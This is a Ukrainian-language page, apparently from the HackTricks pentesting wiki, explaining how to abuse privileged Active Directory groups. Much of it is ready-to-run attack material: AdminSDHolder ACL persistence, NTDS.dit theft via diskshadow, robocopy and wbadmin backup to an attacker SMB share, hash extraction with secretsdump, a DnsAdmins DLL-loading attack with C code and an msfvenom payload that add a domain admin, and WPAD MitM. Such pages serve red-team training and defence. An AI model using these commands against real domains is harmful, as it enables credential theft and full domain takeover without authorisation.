Привілейовані групи
Reading time: 11 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Відомі групи з адміністративними привілеями
- Адміністратори
- Адміністратори домену
- Адміністратори підприємства
Оператори облікових записів
Ця група має право створювати облікові записи та групи, які не є адміністраторами домену. Крім того, вона дозволяє локальний вхід до Контролера домену (DC).
Щоб ідентифікувати членів цієї групи, виконується наступна команда:
Get-NetGroupMember -Identity "Account Operators" -Recurse
Додавання нових користувачів дозволено, а також локальний вхід до DC01.
Група AdminSDHolder
Список контролю доступу (ACL) групи AdminSDHolder є критично важливим, оскільки він встановлює дозволи для всіх "захищених груп" в Active Directory, включаючи групи з високими привілеями. Цей механізм забезпечує безпеку цих груп, запобігаючи несанкціонованим змінам.
Зловмисник може скористатися цим, змінивши ACL групи AdminSDHolder, надаючи повні дозволи стандартному користувачу. Це фактично надасть цьому користувачу повний контроль над усіма захищеними групами. Якщо дозволи цього користувача будуть змінені або видалені, вони автоматично відновляться протягом години через дизайн системи.
Команди для перегляду учасників і зміни дозволів включають:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
Доступний скрипт для прискорення процесу відновлення: Invoke-ADSDPropagation.ps1.
Для отримання додаткової інформації відвідайте ired.team.
AD Recycle Bin
Членство в цій групі дозволяє читати видалені об'єкти Active Directory, що може розкрити чутливу інформацію:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Доступ до контролера домену
Доступ до файлів на DC обмежений, якщо користувач не є частиною групи Server Operators
, що змінює рівень доступу.
Підвищення привілеїв
Використовуючи PsService
або sc
з Sysinternals, можна перевіряти та змінювати дозволи на служби. Група Server Operators
, наприклад, має повний контроль над певними службами, що дозволяє виконувати довільні команди та підвищувати привілеї:
C:\> .\PsService.exe security AppReadiness
Ця команда показує, що Server Operators
мають повний доступ, що дозволяє маніпулювати службами для підвищених привілеїв.
Backup Operators
Членство в групі Backup Operators
надає доступ до файлової системи DC01
завдяки привілеям SeBackup
та SeRestore
. Ці привілеї дозволяють обходити папки, перераховувати та копіювати файли, навіть без явних дозволів, використовуючи прапорець FILE_FLAG_BACKUP_SEMANTICS
. Для цього процесу необхідно використовувати специфічні скрипти.
Щоб перерахувати членів групи, виконайте:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
Локальна атака
Щоб використовувати ці привілеї локально, застосовуються наступні кроки:
- Імпортуйте необхідні бібліотеки:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
- Увімкніть та перевірте
SeBackupPrivilege
:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
- Отримати доступ та скопіювати файли з обмежених директорій, наприклад:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
AD Attack
Прямий доступ до файлової системи контролера домену дозволяє вкрасти базу даних NTDS.dit
, яка містить всі NTLM хеші для користувачів та комп'ютерів домену.
Using diskshadow.exe
- Створіть тіньову копію диска
C
:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
- Скопіюйте
NTDS.dit
з тіньової копії:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Альтернативно, використовуйте robocopy
для копіювання файлів:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
- Витягніть
SYSTEM
таSAM
для отримання хешів:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
- Отримати всі хеші з
NTDS.dit
:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Використання wbadmin.exe
- Налаштуйте файлову систему NTFS для SMB-сервера на машині атакуючого та кешуйте облікові дані SMB на цільовій машині.
- Використовуйте
wbadmin.exe
для резервного копіювання системи та витягуванняNTDS.dit
:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
Для практичної демонстрації дивіться DEMO VIDEO WITH IPPSEC.
DnsAdmins
Члени групи DnsAdmins можуть використовувати свої привілеї для завантаження довільного DLL з привілеями SYSTEM на DNS-сервері, який часто розміщується на контролерах домену. Ця можливість дозволяє значний потенціал для експлуатації.
Щоб перерахувати членів групи DnsAdmins, використовуйте:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
Виконати довільний DLL
Члени можуть змусити DNS-сервер завантажити довільний DLL (як локально, так і з віддаленого ресурсу) за допомогою команд, таких як:
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
Перезапуск служби DNS (який може вимагати додаткових дозволів) необхідний для завантаження DLL:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
Для отримання додаткової інформації про цей вектор атаки зверніться до ired.team.
Mimilib.dll
Також можливо використовувати mimilib.dll для виконання команд, модифікуючи його для виконання конкретних команд або реверсних шелів. Перевірте цей пост для отримання додаткової інформації.
WPAD запис для MitM
DnsAdmins можуть маніпулювати DNS записами для виконання атак Man-in-the-Middle (MitM), створюючи WPAD запис після вимкнення глобального списку блокування запитів. Інструменти, такі як Responder або Inveigh, можуть бути використані для спуфінгу та захоплення мережевого трафіку.
Читачі журналів подій
Члени можуть отримувати доступ до журналів подій, потенційно знаходячи чутливу інформацію, таку як паролі в чистому вигляді або деталі виконання команд:
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
Exchange Windows Permissions
Ця група може змінювати DACL на об'єкті домену, потенційно надаючи привілеї DCSync. Техніки ескалації привілеїв, що використовують цю групу, детально описані в репозиторії Exchange-AD-Privesc на GitHub.
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Hyper-V Адміністратори
Hyper-V Адміністратори мають повний доступ до Hyper-V, що може бути використано для отримання контролю над віртуалізованими Контролерами Домену. Це включає клонування живих DC та витягування NTLM хешів з файлу NTDS.dit.
Приклад експлуатації
Службу обслуговування Mozilla Firefox можна експлуатувати адміністраторами Hyper-V для виконання команд від імені SYSTEM. Це передбачає створення жорсткого посилання на захищений файл SYSTEM і заміну його на шкідливий виконуваний файл:
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
Примітка: Експлуатація жорстких посилань була зменшена в останніх оновленнях Windows.
Управління організацією
У середовищах, де розгорнуто Microsoft Exchange, спеціальна група, відома як Управління організацією, має значні можливості. Ця група має привілей доступу до поштових скриньок усіх користувачів домену та підтримує повний контроль над Організаційною одиницею 'Microsoft Exchange Security Groups'. Цей контроль включає групу Exchange Windows Permissions
, яка може бути використана для ескалації привілеїв.
Експлуатація привілеїв та команди
Оператори друку
Члени групи Оператори друку наділені кількома привілеями, включаючи SeLoadDriverPrivilege
, що дозволяє їм локально входити в систему на Контролері домену, вимикати його та керувати принтерами. Щоб експлуатувати ці привілеї, особливо якщо SeLoadDriverPrivilege
не видно в умовах без підвищення привілеїв, необхідно обійти Контроль облікових записів користувачів (UAC).
Щоб перерахувати членів цієї групи, використовується наступна команда PowerShell:
Get-NetGroupMember -Identity "Print Operators" -Recurse
Для більш детальних технік експлуатації, пов'язаних з SeLoadDriverPrivilege
, слід звернутися до конкретних ресурсів безпеки.
Користувачі віддаленого робочого столу
Членам цієї групи надається доступ до ПК через протокол віддаленого робочого столу (RDP). Для перерахунку цих членів доступні команди PowerShell:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
Додаткову інформацію про експлуатацію RDP можна знайти в спеціалізованих ресурсах з пентестингу.
Користувачі віддаленого керування
Члени можуть отримувати доступ до ПК через Windows Remote Management (WinRM). Перерахування цих членів досягається через:
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
Для технік експлуатації, пов'язаних з WinRM, слід звернутися до конкретної документації.
Оператори серверів
Ця група має дозволи на виконання різних налаштувань на контролерах домену, включаючи привілеї резервного копіювання та відновлення, зміну системного часу та вимкнення системи. Щоб перерахувати учасників, використовується наступна команда:
Get-NetGroupMember -Identity "Server Operators" -Recurse
Посилання
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
- https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--
- https://adsecurity.org/?p=3658
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://rastamouse.me/2019/01/gpo-abuse-part-1/
- https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13
- https://github.com/tandasat/ExploitCapcom
- https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
- https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
- https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
- https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.